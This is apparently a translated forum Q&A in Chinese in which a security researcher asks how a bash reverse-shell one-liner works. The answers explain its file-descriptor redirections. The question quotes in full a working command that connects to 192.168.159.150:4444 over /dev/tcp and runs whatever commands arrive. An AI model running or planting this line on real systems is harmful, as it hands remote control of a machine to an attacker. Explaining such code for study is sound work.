这个命令重定向是如何工作的?

这个命令重定向是如何工作的?

我正在做一些安全研究,我想知道以下代码片段如何在基于 Unix 的操作系统上工作:

exec 5<>/dev/tcp/192.168.159.150/4444; cat <&5 | while read line; do \$line 2>&5 >&5; echo -n \$(pwd)'# ' >&5; done

我完全清楚什么这段代码确实(即通过端口 4444 建立到 192.168.159.150 的反向 shell),但我不明白这些部分在做什么:

  • exec 5<>
  • cat <&5
  • 2>&5 >&5

总的来说,这个东西是如何组合在一起产生我所看到的外壳的。

谁能帮助解释这一点或指出我理解这一点的正确方向?

谢谢

答案1

快速概述:

exec 5<>正在打开一个新的文件句柄进行读写,然后命名它5

cat <&5正在从新打开的文件句柄中读取

2>&5 >&52将文件句柄(stderr) 和文件句柄(stdout)的输出重定向1到文件句柄5。在这种情况下是1隐含的,因为第二次重定向时未提供文件句柄号。

答案2

您的问题的部分内容已得到解答这里

  1. 这定义了编号为 5 的新文件描述符。顺便说一句,0 是 STDIN,1 是 STDOUT,2 是 STDERR 文件描述符
  2. 回显信息,通过 TCP 接收,IP 192.168.159.150,端口 4444
  3. 将 STDERR 和 STDOUT 发送到 filehandler 5 ie 网络

相关内容